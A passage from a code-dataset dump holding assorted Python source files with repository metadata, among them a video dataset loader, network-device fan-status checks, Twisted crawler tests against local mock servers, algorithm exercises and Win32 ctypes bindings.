video_infos.append(video_info)\n\n # 对 center_index + 1 ~ end_index 范围的帧的 label restriction \n # 向后找 multi_label 信息\n later_multi_label = gt_video_frame2multi_label[video_id].get(timestamp + 1, None)\n if later_multi_label is not None:\n multi_label_restriction = np.logical_or(current_multi_label, later_multi_label).astype(np.float32)\n if self.with_gt_message:\n later_gt_ann = gt_video_frame2anns[video_id].get(timestamp + 1 , None)\n later_gt_bboxes, later_gt_labels = later_gt_ann[\"gt_bboxes\"], later_gt_ann[\"gt_labels\"]\n else:\n multi_label_restriction = current_multi_label\n if self.with_gt_message:\n later_gt_bboxes, later_gt_labels = np.zeros((0, 4)), np.zeros((0, 81))\n for frame_index in range(center_index+1, end_index+1):\n video_info = dict(\n frame_dir = frame_dir,\n video_id = video_id,\n timestamp = frame_index, # 这里是真实的 frameindex, 不是 / FPS 之后的 timestamp\n img_key = f\"{video_id},{frame_index}\", # 因为不使用 proposal 了, 这里没什么意义\n multi_label_restriction = multi_label_restriction\n )\n if self.with_gt_message:\n video_info[\"former_gt_bboxes\"] = current_gt_bboxes\n video_info[\"former_gt_labels\"] = current_gt_labels\n video_info[\"later_gt_bboxes\"] = later_gt_bboxes\n video_info[\"later_gt_labels\"] = later_gt_labels\n video_infos.append(video_info)\n \n return video_infos\n \n def prepare_train_frames(self, idx):\n results = copy.deepcopy(self.video_infos[idx])\n \n shot_info = (0, (self.timestamp_end - self.timestamp_start) *\n self._FPS)\n results['filename_tmpl'] = self.filename_tmpl\n results['modality'] = self.modality\n results['start_index'] = self.start_index\n results['timestamp_start'] = self.timestamp_start\n results['timestamp_end'] = self.timestamp_end\n results[\"shot_info\"] = shot_info\n\n # \n\n # adopt to pyslowfast filename of frames\n results[\"filename_tmpl\"] = results[\"video_id\"] + \"_{:06}.jpg\"\n \n return self.pipeline(results)\n \n def prepare_test_frames(self, idx):\n assert False, \"You should never call prepare_test_frames when using AVADatasetUnlabel !!!\"\n \n def evaluate(self,\n results,\n metrics=('mAP', ),\n metric_options=None,\n logger=None):\n assert False, \"You should never call evaluate when using AVADatasetUnlabel !!!\"\n\n\n\n \n\n\n\n","repo_name":"4paradigm-CV/SE-STAD","sub_path":"mmaction2/mmaction/datasets/ava_unlabel_dataset.py","file_name":"ava_unlabel_dataset.py","file_ext":"py","file_size_in_byte":13893,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"5"} +{"seq_id":"32983777746","text":"import logging\nfrom django.conf import settings\n\nfrom models import Service\nfrom utils import create_services_from_endpoint\n\nLOGGER = logging.getLogger(__name__)\n\n\ndef populate_initial_services():\n \"\"\"\n Populate a fresh installed Hypermap instances with basic services.\n \"\"\"\n services_list = (\n (\n 'Harvard WorldMap',\n 'Harvard WorldMap open source web geospatial platform',\n 'Hypermap:WorldMap',\n 'http://worldmap.harvard.edu'\n ),\n (\n 'NYPL MapWarper',\n 'The New York Public Library (NYPL) MapWarper web site',\n 'Hypermap:WARPER',\n 'http://maps.nypl.org/warper/maps'\n ),\n (\n 'Map Warper',\n 'The MapWarper web site developed, hosted and maintained by Tim Waters',\n 'Hypermap:WARPER',\n 'http://mapwarper.net/maps'\n ),\n (\n 'WorldMap Warp',\n 'The MapWarper instance part of the Harvard WorldMap project',\n 'Hypermap:WARPER',\n 'http://warp.worldmap.harvard.edu/maps'\n ),\n (\n 'WFP GeoNode',\n 'World Food Programme GeoNode',\n 'OGC:WMS',\n 'http://geonode.wfp.org/geoserver/ows?'\n ),\n (\n 'NASA EARTHDATA',\n 'NASA EARTHDATA, powered by EOSDIS',\n 'OGC:WMTS',\n 'http://map1.vis.earthdata.nasa.gov/wmts-geo/1.0.0/WMTSCapabilities.xml'\n ),\n )\n\n esri_endpoint = 'https://gis.ngdc.noaa.gov/arcgis/rest/services'\n LOGGER.debug('*** Importing esri endpoint: %s' % esri_endpoint)\n create_services_from_endpoint(esri_endpoint)\n\n for service in services_list:\n LOGGER.debug('*** Importing %s' % service[0])\n service = Service(\n title=service[0],\n abstract=service[1],\n type=service[2],\n url=service[3]\n )\n service.save()\n\n\nsettings.SKIP_CELERY_TASK = True\npopulate_initial_services()\n","repo_name":"cga-harvard/Hypermap-Registry","sub_path":"hypermap/aggregator/populate_database.py","file_name":"populate_database.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"5"} +{"seq_id":"41721010728","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom .. import vendor\nfrom ..analysis_plugin import AnalysisPluginAbc, analysis\nfrom ..func import match_lower\n\nif TYPE_CHECKING:\n from ..analysis_plugin import TemplateInfo\n from ..domain import AnalysisResult\n\n\nclass AnalysisPluginWithFanStatus(AnalysisPluginAbc):\n \"\"\"\n 要求设备所有在位风扇模块运行在正常状态。\n \"\"\"\n\n @analysis.vendor(vendor.Huawei)\n @analysis.template_key(\n 'huawei_vrp_display_fan.textfsm', ['slot_id', 'present', 'registered', 'status']\n )\n def huawei_vrp(template: TemplateInfo, result: AnalysisResult):\n \"\"\"检查设备所有在位风扇模块运行在正常状态\"\"\"\n for row in template['display fan']:\n if row['present']: # NE serial and S5700 serial\n if not match_lower(row['present'], r'yes|present'):\n result.add_focus(f\"Slot {row['slot_id']} 风扇不在位\")\n\n elif row['registered'] and not match_lower(row['registered'], 'yes'):\n result.add_focus(f\"Slot {row['slot_id']} 风扇未注册\")\n\n elif not match_lower(row['status'], r'auto|namual|normal'):\n result.add_warning(f\"Slot {row['slot_id']} 风扇状态不正常\")\n else: # 其他系列进行简单的判断\n if not match_lower(row['status'], 'normal'):\n result.add_warning(f\"Slot {row['slot_id']} 风扇状态不正常\")\n\n @analysis.vendor(vendor.H3C)\n @analysis.template_key('hp_comware_display_fan.textfsm', ['slot', 'id', 'status'])\n def hp_comware(template: TemplateInfo, result: AnalysisResult):\n \"\"\"模块状态不为Normal的时候告警\"\"\"\n for row in template['display fan']:\n if not match_lower(row['status'], 'normal'):\n result.add_warning(\n f'Slot {row[\"slot\"]} Fan {row[\"id\"]} 状态异常'\n if row['slot']\n else f'Fan {row[\"id\"]} 状态异常'\n )\n\n @analysis.vendor(vendor.Maipu)\n @analysis.template_key(\n 'maipu_mypower_show_system_fan.textfsm',\n ['fan_id', 'status', 'work_status', 'statistics_ierr', 'statistics_oerr'],\n )\n def maipu_mypower(template: TemplateInfo, result: AnalysisResult):\n \"\"\"模块Status状态为Online的时候,检查WorkStatus不为Normal的时候告警, 否则Status不为Normal时警告,\n 并且检查模块的错误统计\"\"\"\n for row in template['show system fan']:\n if match_lower(row['status'], 'online'):\n if not match_lower(row['work_status'], 'normal'):\n result.add_warning(f'Fan {row[\"fan_id\"]} 状态异常')\n elif not match_lower(row['status'], 'normal'):\n result.add_warning(f'Fan {row[\"fan_id\"]} 状态异常')\n\n elif int(row['statistics_ierr']) + int(row['statistics_oerr']) > 0:\n result.add_warning(f'Fan {row[\"fan_id\"]} 状态异常')\n","repo_name":"Elinpf/net_inspect","sub_path":"net_inspect/plugins/analysis_plugin_with_fan_status.py","file_name":"analysis_plugin_with_fan_status.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"5"} +{"seq_id":"26636480743","text":"import sqlite3\nfrom .db import DB\n\n\nclass BedCapacity(DB):\n\n def __init__(self):\n super().__init__()\n\n self.table_name = 'GA_bed_capacity'\n self.table_desc = 'BED CAPACITY IN COVID CARE CENTRES'\n self.cols = self.getcolumns()\n\n def getcolumns(self):\n cols = {\n 'date': 'DATE NOT NULL',\n 'district': 'STRING NOT NULL',\n 'total_capacity': 'INT',\n 'vacant_capacity': 'INT'\n }\n return cols\n\n def create_table(self):\n\n colstr = [f'`{colname}` {coltype}' for colname, coltype in self.cols.items()]\n colstr = ', '.join(colstr)\n query = f\"CREATE TABLE IF NOT EXISTS `{self.table_name}` ({colstr}, PRIMARY KEY (date, district))\"\n return query","repo_name":"IBM/covid19-india-data","sub_path":"data_extractor/db/GA_tables/GA_bed_capacity.py","file_name":"GA_bed_capacity.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"5"} +{"seq_id":"19376996480","text":"from interactions import SelectMenu, SelectOption, Button, ButtonStyle, ActionRow\n\n\n\ndef Option(label: str, value: str):\n \"\"\" Used in Select \"\"\"\n return SelectOption(label=label, value=value)\n\n\ndef Select(id: str, options: list[Option], placeholder: str, min: int = 1, max: int = 1):\n \"\"\"\n Create a SelectMenu\n\n ```py\n Select('select',\n options=[\n Option('Label 1', 'Value 1'),\n Option('Label 2', 'Value 2'),\n Option('Label 3', 'Value 3'),\n ],\n placeholder='Select an option',\n min=1,\n max=3,\n )\n ```\n \n \"\"\"\n if len(options) > 25:\n raise ValueError('There can be a maximum of 25 options')\n\n return SelectMenu(\n options=options,\n placeholder=placeholder,\n custom_id=id,\n min_values=min,\n max_values=max\n )\n\ndef Btn(id: str, style: ButtonStyle, label: str):\n \"\"\" \n Create a Button [Button styles](https://support.discord.com/hc/article_attachments/1500019725621/buttons.png)\n\n ```py\n Btn('btn', ButtonStyle.PRIMARY, 'Click me')\n ```\n \"\"\"\n return Button(label=label, style=style, custom_id=id)\n\n\ndef Grid(grid):\n \"\"\" \n \n Create a components grid\n\n ```py\n\n btn = Btn('btn', ButtonStyle.PRIMARY, 'Click me')\n btn2 = Btn('btn2', ButtonStyle.PRIMARY, 'Click me')\n btn3 = Btn('btn3', ButtonStyle.PRIMARY, 'Click me')\n\n select = Select('select',\n options=[\n Option('Label 1', 'Value 1'),\n Option('Label 2', 'Value 2'),\n Option('Label 3', 'Value 3'),\n ],\n placeholder='Select an option',\n min=1,\n max=3,\n )\n\n Grid([\n [select],\n [btn, btn2, btn3],\n ])\n \n \"\"\"\n\n isMultidimensional = isinstance(grid[0], list)\n items = []\n\n if isMultidimensional:\n for row in grid:\n if len(row) > 1 and any(isinstance(col, SelectMenu) for col in row):\n raise TypeError('There can be no other component together with a select on the same row')\n\n items.append(ActionRow(components=row))\n\n else:\n if len(grid) > 1 and any(isinstance(col, Select) for col in grid):\n raise TypeError('There can be no other component together with a select on the same row')\n\n items.append(ActionRow(components=grid))\n\n return items\n ","repo_name":"lui-dias/Age","sub_path":"age/components.py","file_name":"components.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43774911808","text":"import os\nimport random\nfrom twisted.internet import defer, endpoints, protocol, reactor\nfrom twisted.trial import unittest\nfrom twisted.web import resource, server\n\nfrom datahouse.monitoor.scheduler import PeriodicJob\nfrom datahouse.monitoor.app import CrawlerService\n\nTIMEOUT = 5.0\n\nclass SimpleResource(resource.Resource):\n isLeaf = True\n def render_GET(self, request):\n request.setHeader('Content-Type', 'text/html; charset=utf-8')\n return \"<html><body><h1>Hello, World!</h1></body></html>\"\n\nclass EmptyResource(resource.Resource):\n isLeaf = True\n def render_GET(self, request):\n return \"\"\n\nclass NotFoundResource(resource.Resource):\n isLeaf = True\n def render_GET(self, request):\n request.setResponseCode(404)\n return \"<html><body>Infamous error 404: Not found.</body></html>\"\n\nclass RedirectedResource(resource.Resource):\n isLeaf = False\n def getChild(self, name, request):\n if name == '':\n return self\n elif name == 'next':\n return SimpleResource()\n else:\n assert(False)\n\n def render_GET(self, request):\n request.setResponseCode(301)\n request.setHeader('Location', '/next')\n return \"<html><body>Error 301: Moved Permanently.</body></html>\"\n\nclass InfiniteRedirectionResource(resource.Resource):\n isLeaf = True\n def render_GET(self, request):\n request.setResponseCode(301)\n request.setHeader('Location', '/')\n return \"<html><body>Error 301: Moved Permanently.</body></html>\"\n\nclass PaymentRequiredResource(resource.Resource):\n def render_GET(self, request):\n request.setResponseCode(402)\n return \"<html><body>Please swipe your credit card.</body></html>\"\n\n# A partial HTTP header, intentionally interrupted\nPARTIAL_ANSWER = \"\"\"HTTP/1.1 200 OK\nServer: NastyMockServer/-1 (Garnix)\nContent-Length: 42\nContent-Language: en\nConnection: close\nContent-Ty\"\"\"\n\nclass InterruptedResponseProtocol(protocol.Protocol):\n def dataReceived(self, data):\n if data[:3] in ('GET', 'HEA', 'POS'):\n self.transport.write(PARTIAL_ANSWER)\n self.transport.loseConnection()\n\nclass InterruptedResponseFactory(protocol.ServerFactory):\n protocol = InterruptedResponseProtocol\n\n\nclass NeverEndingProtocol(protocol.Protocol):\n def dataReceived(self, data):\n if data[:3] in ('GET', 'HEA', 'POS'):\n self.transport.write(PARTIAL_ANSWER)\n # not much more to do, keep the request open\nclass InfiniteResponseFactory(protocol.ServerFactory):\n protocol = NeverEndingProtocol\n\nclass Timeout(Exception):\n pass\n\nclass ProcessTestCase(unittest.TestCase):\n def setUp(self):\n self.portNumber = random.randint(10000, 65535)\n self.endpoint = endpoints.TCP4ServerEndpoint(reactor,\n self.portNumber)\n self.port = None\n\n self.documents = []\n self.responseTimer = None\n\n self.crawler = CrawlerService()\n self.crawler.registerNewDocumentCallback(self.retrievedDocument)\n self.crawler.startService()\n\n def tearDown(self):\n self.crawler.stopService()\n if self.port is not None:\n self.port.stopListening()\n\n @defer.inlineCallbacks\n def serveProtocol(self, proto):\n self.port = yield self.endpoint.listen(proto)\n\n @defer.inlineCallbacks\n def serveAndTriggerFetch(self, proto):\n yield self.serveProtocol(proto)\n job = PeriodicJob({'job_id': 42,\n 'url': 'http://localhost:%d/' % self.portNumber,\n 'min_check_interval': 10})\n self.crawler.triggerCrawl([job])\n yield self.awaitResponse()\n\n def retrievedDocument(self, document):\n self.documents.append(document)\n assert(not self.responseTimer.called)\n self.responseTimer.cancel()\n if self.responseDeferred is not None:\n d, self.responseDeferred = self.responseDeferred, None\n d.callback(None)\n return defer.succeed(None)\n\n def awaitResponse(self):\n self.responseDeferred = defer.Deferred()\n self.responseTimer = reactor.callLater(TIMEOUT, self.timeout)\n return self.responseDeferred\n\n def timeout(self):\n if self.responseDeferred is not None \\\n and not self.responseDeferred.called:\n self.responseDeferred.errback(\n Timeout(\"No answer within %d seconds.\" % TIMEOUT))\n self.responseTimer = None\n\n @defer.inlineCallbacks\n def test_fetch_simple(self):\n r = SimpleResource()\n proto = server.Site(r)\n yield self.serveAndTriggerFetch(proto)\n\n @defer.inlineCallbacks\n def test_fetch_empty(self):\n r = EmptyResource()\n proto = server.Site(r)\n yield self.serveAndTriggerFetch(proto)\n\n @defer.inlineCallbacks\n def test_fetch_not_found(self):\n r = NotFoundResource()\n proto = server.Site(r)\n yield self.serveAndTriggerFetch(proto)\n test_fetch_not_found.skip = 'not properly implemented, yet'\n\n @defer.inlineCallbacks\n def test_empty_strange_error(self):\n r = PaymentRequiredResource()\n proto = server.Site(r)\n yield self.serveAndTriggerFetch(proto)\n test_empty_strange_error.skip = 'not properly implemented, yet'\n\n def test_interrupted_response(self):\n proto = InterruptedResponseFactory()\n d = self.serveAndTriggerFetch(proto)\n self.assertFailure(d, [Timeout])\n # FIXME: not getting an answer within 5 seconds is no\n # indication for proper handling of unresponsive servers...\n test_interrupted_response.skip = 'not properly implemented, yet'\n\n def test_infinite_response(self):\n proto = InfiniteResponseFactory()\n d = self.serveAndTriggerFetch(proto)\n self.assertFailure(d, [Timeout])\n # FIXME: not getting an answer within 5 seconds is no\n # indication for proper handling of unresponsive servers...\n test_infinite_response.skip = 'not properly implemented, yet'\n\n def test_simple_redirection(self):\n r = RedirectedResource()\n proto = server.Site(r)\n return self.serveAndTriggerFetch(proto)\n\n def test_infinite_redirection(self):\n r = InfiniteRedirectionResource()\n proto = server.Site(r)\n return self.serveAndTriggerFetch(proto)\n test_infinite_redirection.skip = 'not properly implemented, yet'\n","repo_name":"datahouse/monitoor","sub_path":"python/backend/datahouse/monitoor/test/test_crawler.py","file_name":"test_crawler.py","file_ext":"py","file_size_in_byte":6471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71884231513","text":"\"\"\"Written by Jakob Adamsson\"\"\"\r\ndef quicksort(array):\r\n \"\"\"Args: array (list): An array containing ints\r\nReturns: list: A sorted array, acsending order\"\"\"\r\n lengt = len(array)\r\n #basecase, if array is trivial lenght, return\r\n if lengt <= 1:\r\n return array\r\n pivot_element = array.pop()\r\n small_arr = []\r\n large_arr = []\r\n #loops through array and soring values by large and small\r\n for element in array:\r\n #if lower, put in small list\r\n if element < pivot_element:\r\n small_arr.append(element)\r\n #put it in large list\r\n else:\r\n large_arr.append(element)\r\n #preform quicksort on the small array, pivot_element and large arrag untill basecase\r\n return quicksort(small_arr) + [pivot_element] + quicksort(large_arr)\r\n","repo_name":"JakobAdamsson/Algorithms","sub_path":"quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73503955992","text":"# joi2010ho_a.py\n'''\n地味に問題文に10^5で割ったあまりとあって無事WA。\nそれ以外は添え字が結構わからなくなったりしたりするけど\nだいたいの累積和の感覚はつかめてきた。\n突然コンテストで出てきたときに今度は解けるようにしたい。\n'''\nN, M = map(int,input().split())\nmod = 10**5\ndist_sum = [0]\npre = 0\n\nfor _ in range(N-1):\n dist = int(input())\n pre += dist\n dist_sum.append(pre)\n# print(dist_sum)\n_from = 0\nmove = 0\nfor _ in range(M):\n to = int(input())\n move += abs(dist_sum[_from+to]-dist_sum[_from])\n# print(\"form, to :\",_from,to,\",dist from to:\", dist_sum[_from], dist_sum[_from + to],\",move :\",move)\n _from = _from + to\nprint(move%mod)\n","repo_name":"uenoka/atc","sub_path":"atcoder/joi2010ho_a.py","file_name":"joi2010ho_a.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"ja","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"73503856472","text":"# ALDS1_4_B.pys\n\ndef is_ok(idx,key,target):\n########## wirte criteria here ##########\n if target[idx] >= key:\n return True\n return False\n\ndef meguru_bisect(key,target):\n left = -1\n right = len(target)\n while (abs(right - left) > 1):\n mid = left + (right - left) // 2\n if is_ok(mid,key,target):\n right = mid\n else:\n left = mid\n if key == target[right]:\n return True\n return False\n\nN = int(input())\nS = list(map(int,input().split()))\nq = int(input())\nT = list(map(int,input().split()))\nans = 0\nfor i in T:\n if meguru_bisect(i,S):\n ans += 1\nprint(ans)\n","repo_name":"uenoka/atc","sub_path":"aoj/ALDS1_4_B.py","file_name":"ALDS1_4_B.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"18695283228","text":"# Author: Agyeya Mishra\n# Institute: Delhi Technological University (formerly, Delhi College of Engineering)\n# Language: Python\n# Version: 3.x\n\n\nfrom pandas import DataFrame\ndata = {\n \"opening\": [4.75, 2.00, 0.850, 0.425, 0.250, 0.150, 0.075, 0],\n \"mass_retained\": [0, 17.6, 56.3, 108.2, 91.9, 94.1, 57.6, 25.0]\n }\ndf = DataFrame(data)\n\n \ndef calculate_percent_finer(df):\n total_mass = df.mass_retained.sum()\n arr = []\n for count, sieve in enumerate(df.opening.values):\n cumulative_mass = sum([df.mass_retained.values[i] for i in range(count + 1)])\n percent_finer = ((total_mass - cumulative_mass) / total_mass) * 100\n arr.append(percent_finer)\n return df.assign(p_finer = arr)\n\n\nprint(df) \nprint(\"\\n\")\n\n# Matplotlib is a plotting library for creating static, animated, and interactive visualizations in Python.\n# Pyplot is a Matplotlib module which provides a MATLAB-like interface.\nimport matplotlib.pyplot as plt\n\ndf2 = calculate_percent_finer(df)\n\nprint (df2) \nplt.style.use(\"bmh\")\nplt.semilogx(df2.opening, df2.p_finer)\nplt.gca().invert_xaxis()\nplt.xlabel(\"Grain Size (mm) -- log scale\")\nplt.ylabel(\"Percent Passing\")\nplt.title(\"Particle Size Distribution Curve\")\nplt.show()\n\n","repo_name":"AgyeyaMishra/particle-size-distribution-curve","sub_path":"src/Particle Size Distribution Curve.py","file_name":"Particle Size Distribution Curve.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"24833475955","text":"#-*- coding: UTF-8 -*-\n\nfrom gnr.core.gnrbag import Bag\nimport shutil\nimport os\nfrom gnr.app.gnrdeploy import PackageMaker\n\ndef structToPyFull(sourcepath, destpath):\n if not os.path.isdir(destpath):\n os.mkdir(destpath)\n fullstruct = Bag(sourcepath)\n packages = fullstruct['packages']\n for k,v in list(packages.items()):\n if not v: continue\n package_dir_path = os.path.join(destpath,k)\n package_maker = PackageMaker(k, base_path=destpath)\n package_maker.do()\n model_path = os.path.join(package_dir_path,'model')\n structToPy(v['tables'],model_path,pkg=k)\n\ndef structToPy(tables, path,pkg=None):\n #shutil.rmtree(path,True)\n #os.makedirs(path)\n header = \"\"\"# encoding: utf-8\nfrom gnr.core.gnrbag import Bag, BagResolver\nclass Table(object):\n def config_db(self, pkg):\n tbl = pkg.table('%s', pkey='%s', name_long='%s')\n\"\"\"\n for tablename, columns, attributes in tables.digest('#k,#v.columns,#a'):\n if pkg and tablename.startswith('%s_' %pkg):\n tablename = tablename[len(pkg)+1:]\n f = open(os.path.join(path, '%s.py' % tablename), 'w')\n pkey = attributes.get('pkey')\n f.write(header % (tablename, pkey, tablename))\n for colName, colAttr in columns.digest('#k,#a'):\n dflt = colAttr.pop('default', None)\n colAttr['name_long'] = '!!%s' % colName.title()\n x = colAttr.pop('tag', None)\n atlst = []\n for k, v in list(colAttr.items()):\n atlst.append(\"%s ='%s'\" % (k, v))\n f.write(\" tbl.column('%s', %s) \\n\" % (colName, ', '.join(atlst)))\n f.close()\n \nif __name__ == '__main__':\n xmlPath = '/Users/fporcari/Desktop/rossetti.xml'\n destPath = '/Users/fporcari/Desktop/rossetti_packages'\n structToPyFull(xmlPath, destPath)","repo_name":"genropy/genropy_saved","sub_path":"gnrpy/gnr/sql/gnrsqlxml2py.py","file_name":"gnrsqlxml2py.py","file_ext":"py","file_size_in_byte":1847,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"5"} +{"seq_id":"1866742756","text":"from JumpScale import j\n\nfrom .CodeGeneratorBase import CodeGeneratorBase\n\n\nclass CodeGeneratorEnumeration(CodeGeneratorBase):\n\n def __init__(self, spec, typecheck=True, dieInGenCode=True):\n CodeGeneratorBase.__init__(self, spec, typecheck, dieInGenCode)\n self.type = \"enumeration\"\n\n def getClassName(self):\n return \"%s_%s\" % (self.spec.actorname, self.spec.name.replace(\".\", \"_\"))\n\n def addClass(self):\n spec = self.spec\n s = \"\"\"\nfrom JumpScale.core.baseclasses import BaseEnumeration\n\nclass %s(BaseEnumeration):\n{descr}\n def __repr__(self):\n return str(self)\n def __init__(self, level):\n self.level = level\n\n def __int__(self):\n return self.level\n \n def __cmp__(self, other):\n return cmp(int(self), int(other)) \n \n\"\"\" % self.getClassName()\n\n descr = spec.description\n if descr != \"\" and descr[-1] != \"\\n\":\n descr += \"\\n\"\n\n nr = 0\n for enum in spec.enums:\n nr += 1\n descr += \"%s:%s\\n\" % (enum, nr)\n\n descr = \"\\\"\\\"\\\"\\n%s\\n\\\"\\\"\\\"\\n\" % descr\n descr = j.code.indent(descr, 1)\n s = s.replace(\"{descr}\\n\", descr)\n self.content += s\n\n def generate(self):\n self.addClass()\n nr = 0\n s = \"\"\n name = self.getClassName()\n for enum in self.spec.enums:\n nr += 1\n s += \"%s.registerItem('%s',%s)\\n\" % (name, enum.lower(), nr)\n s += \"%s.finishItemRegistration()\" % name\n self.content += s\n return self.getContent()\n","repo_name":"rudecs/jumpscale_core7","sub_path":"lib/JumpScale/baselib/codegentools/CodeGeneratorEnumeration.py","file_name":"CodeGeneratorEnumeration.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71728470231","text":"import time\n\nimport scipy as sp\nimport numpy as np\nfrom numpy import linalg as LA\nfrom qulacs import QuantumState\nfrom qulacs.state import inner_product\n\nfrom .qite_function import calc_delta, calc_psi, calc_inner1, make_state1\nfrom .. import config as cf\nfrom .. import mpilib as mpi\nfrom ..fileio import prints, print_state\nfrom ..utils import lstsq\n\n\ndef qite_exact(Quket):\n nspin = Quket.n_qubits\n db = Quket.dt\n ntime = Quket.maxiter\n qbit = Quket.det\n observable = Quket.qulacs.Hamiltonian\n threshold = Quket.ftol\n\n active_qubit = [x for x in range(nspin)]\n n = nspin\n size = 4**nspin\n index = np.arange(n)\n delta = QuantumState(n)\n first_state = QuantumState(n)\n first_state.set_computational_basis(qbit)\n\n prints(f\"Exact QITE: Pauli operator group size = {size}\")\n\n energy = []\n psi_dash = first_state.copy()\n value = observable.get_expectation_value(psi_dash)\n energy.append(value)\n\n t1 = time.time()\n cf.t_old = t1\n dE = 100\n for t in range(ntime):\n t2 = time.time()\n cput = t2 - cf.t_old\n cf.t_old = t2\n if cf.debug:\n print_state(psi_dash)\n prints(f\"{t*db:6.2f}: E = {value:.12f} CPU Time = {cput:5.2f}\")\n\n if abs(dE) < threshold:\n break\n #if t == 0:\n # xv = np.zeros(size)\n psi_dash_copy = psi_dash.copy()\n\n #mpi.comm.bcast(size, root=0)\n #S_part = np.zeros((size, size), dtype=complex)\n #S = np.zeros((size, size), dtype=complex)\n #sizeT = size*(size+1)//2\n #nblock = sizeT//mpi.nprocs\n\n #ij = mpi.rank*nblock\n #start = int(np.sqrt(2*ij + 1/4) - 1/2)\n #end = int(np.sqrt(2*(ij+nblock) + 1/4) - 1/2)\n #for i in range(start, end):\n # for j in range(i+1):\n # S_part[i, j] = calc_inner1(i, j, n, active_qubit,\n # index, psi_dash)\n # ij += 1\n # S[:i, i] = S[i, :i]\n #mpi.comm.Allreduce(S_part, S, mpi.MPI.SUM)\n\n S_part = np.zeros((size, size), dtype=complex)\n S = np.zeros((size, size), dtype=complex)\n sizeT = size*(size-1)//2\n ipos, my_ndim = mpi.myrange(sizeT)\n ij = 0\n for i in range(size):\n for j in range(i):\n if ij in range(ipos, ipos+my_ndim):\n S_part[i, j] = calc_inner1(i, j, n, active_qubit,\n index, psi_dash)\n S_part[j, i] = S_part[i, j].conjugate()\n ij += 1\n mpi.comm.Allreduce(S_part, S, mpi.MPI.SUM)\n for i in range(size):\n S[i, i] = 1\n\n sigma = []\n for i in range(size):\n state_i = make_state1(i, n, active_qubit, index, psi_dash)\n sigma.append(state_i)\n\n delta = calc_delta(psi_dash, observable, n, db)\n b_l = []\n b_l = np.empty(size)\n for i in range(size):\n b_i = inner_product(sigma[i], delta)\n b_i = -2*b_i.imag\n b_l[i] = b_i\n\n Amat = 2*np.real(S)\n zct = b_l@Amat\n\n #def cost_fun(vct):\n # return LA.norm(Amat@vct - b_l)**2\n\n #def J_cost_fun(vct):\n # wct = Amat.T@Amat@vct\n # return 2.0*(wct-zct)\n\n #x = sp.optimize.minimize(cost_fun, x0=xv, method=\"Newton-CG\",\n # jac=J_cost_fun, tol=1e-8).x\n #xv = x.copy()\n x, res, rnk, s = lstsq(Amat, b_l, cond=1.0e-8)\n a = x.copy()\n ### Just in case, broadcast a...\n mpi.comm.Bcast(a, root=0)\n psi_dash = calc_psi(psi_dash_copy, n, index, a, active_qubit)\n\n value = observable.get_expectation_value(psi_dash)\n energy.append(value)\n dE = energy[t+1] - energy[t]\n","repo_name":"ymori206226/test","sub_path":"src/qite/qite_exact.py","file_name":"qite_exact.py","file_ext":"py","file_size_in_byte":3789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"73842083033","text":"from ctypes import LibraryLoader\nfrom ctypes import WinDLL\nfrom ctypes import wintypes\nfrom ctypes import c_short\nfrom ctypes import WINFUNCTYPE\nfrom ctypes import c_void_p\nfrom ctypes import c_int\nfrom ctypes import c_uint\nfrom ctypes import byref\nfrom ctypes import POINTER\nfrom ctypes import c_ubyte\nfrom ctypes import c_size_t\n\nfrom . import win32defines, win32structures\nfrom ..actionlogger import ActionLogger\n\n# Quote: \"If you want cached libs without polluting ctypes.cdll or\n# ctypes.windll, just create your own instance such as\n# windll = ctypes.LibraryLoader(ctypes.WinDLL).\"\n# see https://bugs.python.org/issue22552\nwindll = LibraryLoader(WinDLL)\n\nSHORT = c_short\n\n\nCreateBrushIndirect = windll.gdi32.CreateBrushIndirect\nCreateBrushIndirect.restype = wintypes.HBRUSH\nCreateBrushIndirect.argtypes = [\n c_void_p,\n]\nCreateDC = windll.gdi32.CreateDCW\nCreateDC.restype = wintypes.HDC\nCreateDC.argtypes = [\n wintypes.LPCWSTR,\n wintypes.LPCWSTR,\n wintypes.LPCWSTR,\n c_void_p,\n]\nCreateFontIndirect = windll.gdi32.CreateFontIndirectW\nCreateFontIndirect.restype = wintypes.HFONT\nCreateFontIndirect.argtypes = [\n POINTER(win32structures.LOGFONTW),\n]\nCreatePen = windll.gdi32.CreatePen\nCreatePen.restype = wintypes.HPEN\nCreatePen.argtypes = [\n c_int,\n c_int,\n wintypes.COLORREF,\n]\nDeleteDC = windll.gdi32.DeleteDC\nDeleteDC.restype = wintypes.BOOL\nDeleteDC.argtypes = [\n wintypes.HDC,\n]\nGetObject = windll.gdi32.GetObjectW\nGetObject.restype = c_int\nGetObject.argtypes = [\n wintypes.HANDLE,\n c_int,\n wintypes.LPVOID,\n]\nDeleteObject = windll.gdi32.DeleteObject\nDeleteObject.restype = wintypes.BOOL\nDeleteObject.argtypes = [\n wintypes.HGDIOBJ,\n]\nDrawText = windll.user32.DrawTextW\nDrawText.restype = c_int\nDrawText.argtypes = [\n 